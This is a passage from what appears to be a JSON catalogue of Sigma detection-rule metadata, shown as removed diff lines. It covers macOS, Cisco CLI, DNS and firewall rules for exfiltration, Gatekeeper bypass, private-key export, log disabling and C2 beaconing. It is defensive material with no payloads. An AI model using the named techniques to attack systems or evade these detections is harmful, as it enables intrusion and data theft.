"meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_split_file_into_pieces.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1030" - ], - "creation_date": "2020/10/15", - "filename": "proc_creation_macos_split_file_into_pieces.yml", - "author": "Igor Fits, Mikhail Larin, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects when the macOS Script Editor utility spawns an unusual child process.", - "uuid": "6e4dcdd1-e48b-42f7-b2d8-3b413fc58cb4", - "value": "Suspicious Exeution via macOS Script Editor", - "meta": { - "refs": [ - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-7f541fbc4a4a28a92970e8bf53effea5bd934604429112c920affb457f5b2685", - "https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_execution_macos_script_editor.yml" - ], - "tags": [ - "attack.t1566", - "attack.t1566.002", - "attack.initial_access", - "attack.t1059", - "attack.t1059.002", - "attack.t1204", - "attack.t1204.001", - "attack.execution", - "attack.persistence", - "attack.t1553", - "attack.defense_evasion" - ], - "creation_date": "2022/10/21", - "filename": "proc_creation_macos_susp_execution_macos_script_editor.yml", - "author": "Tim Rauch (rule), Elastic (idea)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects commandline operations on shell history files", - "uuid": "508a9374-ad52-4789-b568-fc358def2c65", - "value": "Suspicious History File Operations", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_histfile_operations.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.003" - ], - "creation_date": "2020/10/17", - "filename": "proc_creation_macos_susp_histfile_operations.yml", - "author": "Mikhail Larin, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate administrative activity", - "Legitimate software, cleaning hist file" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects when a user manipulates with Firmward Password on MacOS. NOTE - this command has been disabled on silicon-based apple computers.", - "uuid": "7ed2c9f7-c59d-4c82-a7e2-f859aa676099", - "value": "Suspicious MacOS Firmware Activity", - "meta": { - "refs": [ - "https://github.com/usnistgov/macos_security/blob/932a51f3e819dd3e02ebfcf3ef433cfffafbe28b/rules/os/os_firmware_password_require.yaml", - "https://www.manpagez.com/man/8/firmwarepasswd/", - "https://support.apple.com/guide/security/firmware-password-protection-sec28382c9ca/web", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_macos_firmware_activity.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/09/30", - "filename": "proc_creation_macos_susp_macos_firmware_activity.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects usage of system utilities to discover system network connections", - "uuid": "9a7a0393-2144-4626-9bf1-7c2f5a7321db", - "value": "System Network Connections Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_network_connections_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1049" - ], - "creation_date": "2020/10/19", - "filename": "proc_creation_macos_system_network_connections_discovery.yml", - "author": "Daniil Yugoslavskiy, oscd.community", - "level": "informational", - "falsepositive": [ - "Legitimate activities" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects enumeration of local network configuration", - "uuid": "58800443-f9fc-4d55-ae0c-98a3966dfb97", - "value": "System Network Discovery - macOS", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_network_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1016" - ], - "creation_date": "2020/10/06", - "filename": "proc_creation_macos_system_network_discovery.yml", - "author": "remotephone, oscd.community", - "level": "informational", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.", - "uuid": "40b1fbe2-18ea-4ee7-be47-0294285811de", - "value": "System Shutdown/Reboot", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_shutdown_reboot.yml" - ], - "tags": [ - "attack.impact", - "attack.t1529" - ], - "creation_date": "2020/10/19", - "filename": "proc_creation_macos_system_shutdown_reboot.yml", - "author": "Igor Fits, Mikhail Larin, oscd.community", - "level": "informational", - "falsepositive": [ - "Legitimate administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects the execution traces of the WizardUpdate malware. WizardUpdate is a macOS trojan that attempts to infiltrate macOS machines to steal data and it is associated with other types of malicious payloads, increasing the chances of multiple infections on a device.", - "uuid": "f68c4a4f-19ef-4817-952c-50dce331f4b0", - "value": "Potential WizardUpdate Malware Infection", - "meta": { - "refs": [ - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-c68a1fcbf7a3f80c87225d7fdc031f691e9f3b6a14a36754be00762bfe6eae97", - "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset", - "https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_wizardupdate_malware_infection.yml" - ], - "tags": [ - "attack.command_and_control" - ], - "creation_date": "2022/10/17", - "filename": "proc_creation_macos_wizardupdate_malware_infection.yml", - "author": "Tim Rauch (rule), Elastic (idea)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Detects macOS Gatekeeper bypass via xattr utility", - "uuid": "f5141b6d-9f42-41c6-a7bf-2a780678b29b", - "value": "Gatekeeper Bypass via Xattr", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.001/T1553.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xattr_gatekeeper_bypass.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1553.001" - ], - "creation_date": "2020/10/19", - "filename": "proc_creation_macos_xattr_gatekeeper_bypass.yml", - "author": "Daniil Yugoslavskiy, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate activities" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Identifies the execution traces of the XCSSET malware. XCSSET is a macOS trojan that primarily spreads via Xcode projects and maliciously modifies applications. Infected users are also vulnerable to having their credentials, accounts, and other vital data stolen.", - "uuid": "47d65ac0-c06f-4ba2-a2e3-d263139d0f51", - "value": "Potential XCSSET Malware Infection", - "meta": { - "refs": [ - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-f5deb07688e1a8dec9530bc3071967b2da5c16b482e671812b864c37beb28f08", - "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xcsset_malware_infection.yml" - ], - "tags": [ - "attack.command_and_control" - ], - "creation_date": "2022/10/17", - "filename": "proc_creation_macos_xcsset_malware_infection.yml", - "author": "Tim Rauch (rule), Elastic (idea)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "macos" - } - }, - { - "description": "Clear command history in network OS which is used for defense evasion", - "uuid": "ceb407f6-8277-439b-951f-e4210e3ed956", - "value": "Cisco Clear Logs", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_clear_logs.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.003" - ], - "creation_date": "2019/08/12", - "filename": "cisco_cli_clear_logs.yml", - "author": "Austin Clark", - "level": "high", - "falsepositive": [ - "Legitimate administrators may run these commands" - ], - "logsource.category": "accounting", - "logsource.product": "cisco" - } - }, - { - "description": "Collect pertinent data from the configuration files", - "uuid": "cd072b25-a418-4f98-8ebc-5093fb38fe1a", - "value": "Cisco Collect Data", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_collect_data.yml" - ], - "tags": [ - "attack.discovery", - "attack.credential_access", - "attack.collection", - "attack.t1087.001", - "attack.t1552.001", - "attack.t1005" - ], - "creation_date": "2019/08/11", - "filename": "cisco_cli_collect_data.yml", - "author": "Austin Clark", - "level": "low", - "falsepositive": [ - "Commonly run by administrators" - ], - "logsource.category": "accounting", - "logsource.product": "cisco" - } - }, - { - "description": "Show when private keys are being exported from the device, or when new certificates are installed", - "uuid": "1f978c6a-4415-47fb-aca5-736a44d7ca3d", - "value": "Cisco Crypto Commands", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_crypto_actions.yml" - ], - "tags": [ - "attack.credential_access", - "attack.defense_evasion", - "attack.t1553.004", - "attack.t1552.004" - ], - "creation_date": "2019/08/12", - "filename": "cisco_cli_crypto_actions.yml", - "author": "Austin Clark", - "level": "high", - "falsepositive": [ - "Not commonly run by administrators. Also whitelist your known good certificates" - ], - "logsource.category": "accounting", - "logsource.product": "cisco" - } - }, - { - "description": "Turn off logging locally or remote", - "uuid": "9e8f6035-88bf-4a63-96b6-b17c0508257e", - "value": "Cisco Disabling Logging", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_disable_logging.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2019/08/11", - "filename": "cisco_cli_disable_logging.yml", - "author": "Austin Clark", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "accounting", - "logsource.product": "cisco" - } - }, - { - "description": "Find information about network devices that is not stored in config files", - "uuid": "9705a6a1-6db6-4a16-a987-15b7151e299b", - "value": "Cisco Discovery", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1083", - "attack.t1201", - "attack.t1057", - "attack.t1018", - "attack.t1082", - "attack.t1016", - "attack.t1049", - "attack.t1033", - "attack.t1124" - ], - "creation_date": "2019/08/12", - "filename": "cisco_cli_discovery.yml", - "author": "Austin Clark", - "level": "low", - "falsepositive": [ - "Commonly used by administrators for troubleshooting" - ], - "logsource.category": "accounting", - "logsource.product": "cisco" - } - }, - { - "description": "Detect a system being shutdown or put into different boot mode", - "uuid": "d94a35f0-7a29-45f6-90a0-80df6159967c", - "value": "Cisco Denial of Service", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_dos.yml" - ], - "tags": [ - "attack.impact", - "attack.t1495", - "attack.t1529", - "attack.t1565.001" - ], - "creation_date": "2019/08/15", - "filename": "cisco_cli_dos.yml", - "author": "Austin Clark", - "level": "medium", - "falsepositive": [ - "Legitimate administrators may run these commands, though rarely." - ], - "logsource.category": "accounting", - "logsource.product": "cisco" - } - }, - { - "description": "See what files are being deleted from flash file systems", - "uuid": "71d65515-c436-43c0-841b-236b1f32c21e", - "value": "Cisco File Deletion", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_file_deletion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.impact", - "attack.t1070.004", - "attack.t1561.001", - "attack.t1561.002" - ], - "creation_date": "2019/08/12", - "filename": "cisco_cli_file_deletion.yml", - "author": "Austin Clark", - "level": "medium", - "falsepositive": [ - "Will be used sometimes by admins to clean up local flash space" - ], - "logsource.category": "accounting", - "logsource.product": "cisco" - } - }, - { - "description": "See what commands are being input into the device by other people, full credentials can be in the history", - "uuid": "b094d9fb-b1ad-4650-9f1a-fb7be9f1d34b", - "value": "Cisco Show Commands Input", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_input_capture.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.003" - ], - "creation_date": "2019/08/11", - "filename": "cisco_cli_input_capture.yml", - "author": "Austin Clark", - "level": "medium", - "falsepositive": [ - "Not commonly run by administrators, especially if remote logging is configured" - ], - "logsource.category": "accounting", - "logsource.product": "cisco" - } - }, - { - "description": "Find local accounts being created or modified as well as remote authentication configurations", - "uuid": "6d844f0f-1c18-41af-8f19-33e7654edfc3", - "value": "Cisco Local Accounts", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_local_accounts.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1136.001", - "attack.t1098" - ], - "creation_date": "2019/08/12", - "filename": "cisco_cli_local_accounts.yml", - "author": "Austin Clark", - "level": "high", - "falsepositive": [ - "When remote authentication is in place, this should not change often" - ], - "logsource.category": "accounting", - "logsource.product": "cisco" - } - }, - { - "description": "Modifications to a config that will serve an adversary's impacts or persistence", - "uuid": "671ffc77-50a7-464f-9e3d-9ea2b493b26b", - "value": "Cisco Modify Configuration", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_modify_config.yml" - ], - "tags": [ - "attack.persistence", - "attack.impact", - "attack.t1490", - "attack.t1505", - "attack.t1565.002", - "attack.t1053" - ], - "creation_date": "2019/08/12", - "filename": "cisco_cli_modify_config.yml", - "author": "Austin Clark", - "level": "medium", - "falsepositive": [ - "Legitimate administrators may run these commands" - ], - "logsource.category": "accounting", - "logsource.product": "cisco" - } - }, - { - "description": "Various protocols maybe used to put data on the device for exfil or infil", - "uuid": "5e51acb2-bcbe-435b-99c6-0e3cd5e2aa59", - "value": "Cisco Stage Data", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_moving_data.yml" - ], - "tags": [ - "attack.collection", - "attack.lateral_movement", - "attack.command_and_control", - "attack.exfiltration", - "attack.t1074", - "attack.t1105", - "attack.t1560.001" - ], - "creation_date": "2019/08/12", - "filename": "cisco_cli_moving_data.yml", - "author": "Austin Clark", - "level": "low", - "falsepositive": [ - "Generally used to copy configs or IOS images" - ], - "logsource.category": "accounting", - "logsource.product": "cisco" - } - }, - { - "description": "Show when a monitor or a span/rspan is setup or modified", - "uuid": "b9e1f193-d236-4451-aaae-2f3d2102120d", - "value": "Cisco Sniffing", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_net_sniff.yml" - ], - "tags": [ - "attack.credential_access", - "attack.discovery", - "attack.t1040" - ], - "creation_date": "2019/08/11", - "filename": "cisco_cli_net_sniff.yml", - "author": "Austin Clark", - "level": "medium", - "falsepositive": [ - "Admins may setup new or modify old spans, or use a monitor for troubleshooting" - ], - "logsource.category": "accounting", - "logsource.product": "cisco" - } - }, - { - "description": "Normally, DNS logs contain a limited amount of different dns queries for a single domain. This rule detects a high amount of queries for a single domain, which can be an indicator that DNS is used to transfer data.", - "uuid": "1ec4b281-aa65-46a2-bdae-5fd830ed914e", - "value": "Possible DNS Tunneling", - "meta": { - "refs": [ - "https://zeltser.com/c2-dns-tunneling/", - "https://patrick-bareiss.com/detect-c2-traffic-over-dns-using-sigma/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_c2_detection.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.004", - "attack.exfiltration", - "attack.t1048.003" - ], - "creation_date": "2019/04/07", - "filename": "net_dns_c2_detection.yml", - "author": "Patrick Bareiss", - "level": "high", - "falsepositive": [ - "Valid software, which uses dns for transferring data" - ], - "logsource.category": "dns", - "logsource.product": "No established product" - } - }, - { - "description": "Detects suspicious DNS queries to external service interaction domains often used for out-of-band interactions after successful RCE", - "uuid": "aff715fa-4dd5-497a-8db3-910bea555566", - "value": "DNS Query to External Service Interaction Domains", - "meta": { - "refs": [ - "https://twitter.com/breakersall/status/1533493587828260866", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_external_service_interaction_domains.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.reconnaissance", - "attack.t1595.002" - ], - "creation_date": "2022/06/07", - "filename": "net_dns_external_service_interaction_domains.yml", - "author": "Florian Roth, Matt Kelly (list of domains)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "dns", - "logsource.product": "No established product" - } - }, - { - "description": "High DNS queries bytes amount from host per short period of time", - "uuid": "0f6c1bf5-70a5-4963-aef9-aab1eefb50bd", - "value": "High DNS Bytes Out", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_bytes_out.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003" - ], - "creation_date": "2019/10/24", - "filename": "net_dns_high_bytes_out.yml", - "author": "Daniil Yugoslavskiy, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate high DNS bytes out rate to domain name which should be added to whitelist" - ], - "logsource.category": "dns", - "logsource.product": "No established product" - } - }, - { - "description": "Extremely high rate of NULL record type DNS requests from host per short period of time. Possible result of iodine tool execution", - "uuid": "44ae5117-9c44-40cf-9c7c-7edad385ca70", - "value": "High NULL Records Requests Rate", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_null_records_requests_rate.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003", - "attack.command_and_control", - "attack.t1071.004" - ], - "creation_date": "2019/10/24", - "filename": "net_dns_high_null_records_requests_rate.yml", - "author": "Daniil Yugoslavskiy, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate high DNS NULL requests rate to domain name which should be added to whitelist" - ], - "logsource.category": "dns", - "logsource.product": "No established product" - } - }, - { - "description": "High DNS requests amount from host per short period of time", - "uuid": "b4163085-4001-46a3-a79a-55d8bbbc7a3a", - "value": "High DNS Requests Rate", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_requests_rate.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003", - "attack.command_and_control", - "attack.t1071.004" - ], - "creation_date": "2019/10/24", - "filename": "net_dns_high_requests_rate.yml", - "author": "Daniil Yugoslavskiy, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate high DNS requests rate to domain name which should be added to whitelist" - ], - "logsource.category": "dns", - "logsource.product": "No established product" - } - }, - { - "description": "Extremely high rate of TXT record type DNS requests from host per short period of time. Possible result of Do-exfiltration tool execution", - "uuid": "f0a8cedc-1d22-4453-9c44-8d9f4ebd5d35", - "value": "High TXT Records Requests Rate", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_txt_records_requests_rate.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003", - "attack.command_and_control", - "attack.t1071.004" - ], - "creation_date": "2019/10/24", - "filename": "net_dns_high_txt_records_requests_rate.yml", - "author": "Daniil Yugoslavskiy, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate high DNS TXT requests rate to domain name which should be added to whitelist" - ], - "logsource.category": "dns", - "logsource.product": "No established product" - } - }, - { - "description": "Detects suspicious DNS queries known from Cobalt Strike beacons", - "uuid": "2975af79-28c4-4d2f-a951-9095f229df29", - "value": "Cobalt Strike DNS Beaconing", - "meta": { - "refs": [ - "https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns", - "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_mal_cobaltstrike.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.004" - ], - "creation_date": "2018/05/10", - "filename": "net_dns_mal_cobaltstrike.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "dns", - "logsource.product": "No established product" - } - }, - { - "description": "Detects suspicious DNS queries to Monero mining pools", - "uuid": "b593fd50-7335-4682-a36c-4edcb68e4641", - "value": "Monero Crypto Coin Mining Pool Lookup", - "meta": { - "refs": [ - "https://www.nextron-systems.com/2021/10/24/monero-mining-pool-fqdns/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_pua_cryptocoin_mining_xmr.yml" - ], - "tags": [ - "attack.impact", - "attack.t1496", - "attack.t1567" - ], - "creation_date": "2021/10/24", - "filename": "net_dns_pua_cryptocoin_mining_xmr.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate crypto coin mining" - ], - "logsource.category": "dns", - "logsource.product": "No established product" - } - }, - { - "description": "Detects suspicious DNS queries using base64 encoding", - "uuid": "4153a907-2451-4e4f-a578-c52bb6881432", - "value": "Suspicious DNS Query with B64 Encoded String", - "meta": { - "refs": [ - "https://github.com/krmaxwell/dns-exfiltration", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_b64_queries.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003", - "attack.command_and_control", - "attack.t1071.004" - ], - "creation_date": "2018/05/10", - "filename": "net_dns_susp_b64_queries.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "dns", - "logsource.product": "No established product" - } - }, - { - "description": "Detects suspicious DNS queries to api.telegram.org used by Telegram Bots of any kind", - "uuid": "c64c5175-5189-431b-a55e-6d9882158251", - "value": "Telegram Bot API Request", - "meta": { - "refs": [ - "https://core.telegram.org/bots/faq", - "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/", - "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/", - "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_telegram_api.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1102.002" - ], - "creation_date": "2018/06/05", - "filename": "net_dns_susp_telegram_api.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Legitimate use of Telegram bots in the company" - ], - "logsource.category": "dns", - "logsource.product": "No established product" - } - }, - { - "description": "Detects strings used in command execution in DNS TXT Answer", - "uuid": "8ae51330-899c-4641-8125-e39f2e07da72", - "value": "DNS TXT Answer with Possible Execution Strings", - "meta": { - "refs": [ - "https://twitter.com/stvemillertime/status/1024707932447854592", - "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Backdoors/DNS_TXT_Pwnage.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_txt_exec_strings.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.004" - ], - "creation_date": "2018/08/08", - "filename": "net_dns_susp_txt_exec_strings.yml", - "author": "Markus Neis", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "dns", - "logsource.product": "No established product" - } - }, - { - "description": "Detects wannacry killswitch domain dns queries", - "uuid": "3eaf6218-3bed-4d8a-8707-274096f12a18", - "value": "Wannacry Killswitch Domain", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/products-and-services/2017/05/wannacry-ransomware-campaign.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_wannacry_killswitch_domain.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2020/09/16", - "filename": "net_dns_wannacry_killswitch_domain.yml", - "author": "Mike Wade", - "level": "high", - "falsepositive": [ - "Analyst testing" - ], - "logsource.category": "dns", - "logsource.product": "No established product" - } - }, - { - "description": "Detects communication to C2 servers mentioned in the operational notes of the ShadowBroker leak of EquationGroup C2 tools", - "uuid": "881834a4-6659-4773-821e-1c151789d873", - "value": "Equation Group C2 Communication", - "meta": { - "refs": [ - "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation", - "https://medium.com/@msuiche/the-nsa-compromised-swift-network-50ec3000b195", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_apt_equationgroup_c2.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.g0020", - "attack.t1041" - ], - "creation_date": "2017/04/15", - "filename": "net_firewall_apt_equationgroup_c2.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "firewall", - "logsource.product": "No established product" - } - }, - { - "description": "High DNS queries bytes amount from host per short period of time", - "uuid": "3b6e327d-8649-4102-993f-d25786481589", - "value": "High DNS Bytes Out", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_high_dns_bytes_out.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003" - ], - "creation_date": "2019/10/24", - "filename": "net_firewall_high_dns_bytes_out.yml", - "author": "Daniil Yugoslavskiy, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate high DNS bytes out rate to domain name which should be added to whitelist" - ], - "logsource.category": "firewall", - "logsource.product": "No established product" - } - }, - { - "description": "High DNS requests amount from host per short period of time", - "uuid": "51186749-7415-46be-90e5-6914865c825a", - "value": "High DNS Requests Rate", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_high_dns_requests_rate.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003", - "attack.command_and_control", - "attack.t1071.004" - ], - "creation_date": "2019/10/24", - "filename": "net_firewall_high_dns_requests_rate.yml", - "author": "Daniil Yugoslavskiy, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate high DNS requests rate to domain name which should be added to whitelist" - ], - "logsource.category": "firewall", - "logsource.product": "No established product" - } - }, - { - "description": "Detects many failed connection attempts to different ports or hosts", - "uuid": "4601eaec-6b45-4052-ad32-2d96d26ce0d8", - "value": "Network Scans Count By Destination IP", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_susp_network_scan_by_ip.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1046" - ], - "creation_date": "2017/02/19", - "filename": "net_firewall_susp_network_scan_by_ip.yml", - "author": "Thomas Patzke", - "level": "medium", - "falsepositive": [ - "Inventarization systems", - "Vulnerability scans" - ], - "logsource.category": "firewall", - "logsource.product": "No established product" - } - }, - { - "description": "Detects many failed connection attempts to different ports or hosts", - "uuid": "fab0ddf0-b8a9-4d70-91ce-a20547209afb", - "value": "Network Scans Count By Destination Port", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_susp_network_scan_by_port.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1046" - ], - "creation_date": "2017/02/19", - "filename": "net_firewall_susp_network_scan_by_port.yml", - "author": "Thomas Patzke", - "level": "medium", - "falsepositive": [ - "Inventarization systems", - "Vulnerability scans" - ], - "logsource.category": "firewall", - "logsource.product": "No established product" - } - }, - { - "description": "Domain user and group enumeration via network reconnaissance.\nSeen in APT 29 and other common tactics and actors. Detects a set of RPC (remote procedure calls) used to enumerate a domain controller.\nThe rule was created based off the datasets and hackathon from https://github.com/OTRF/detection-hackathon-apt29\n", - "uuid": "66a0bdc6-ee04-441a-9125-99d2eb547942", - "value": "Domain User Enumeration Network Recon 01", - "meta": { - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29", - "https://github.com/OTRF/detection-hackathon-apt29/issues/37", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_domain_user_enumeration.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087.002", - "attack.t1082" - ], - "creation_date": "2020/05/03", - "filename": "zeek_dce_rpc_domain_user_enumeration.yml", - "author": "Nate Guagenti (@neu5ron), Open Threat Research (OTR)", - "level": "medium", - "falsepositive": [ - "Devices that may do authentication like a VPN or a firewall that looksup IPs to username", - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "Windows DCE-RPC functions which indicate an execution techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE", - "uuid": "b640c0b8-87f8-4daa-aef8-95a24261dd1d", - "value": "MITRE BZAR Indicators for Execution", - "meta": { - "refs": [ - 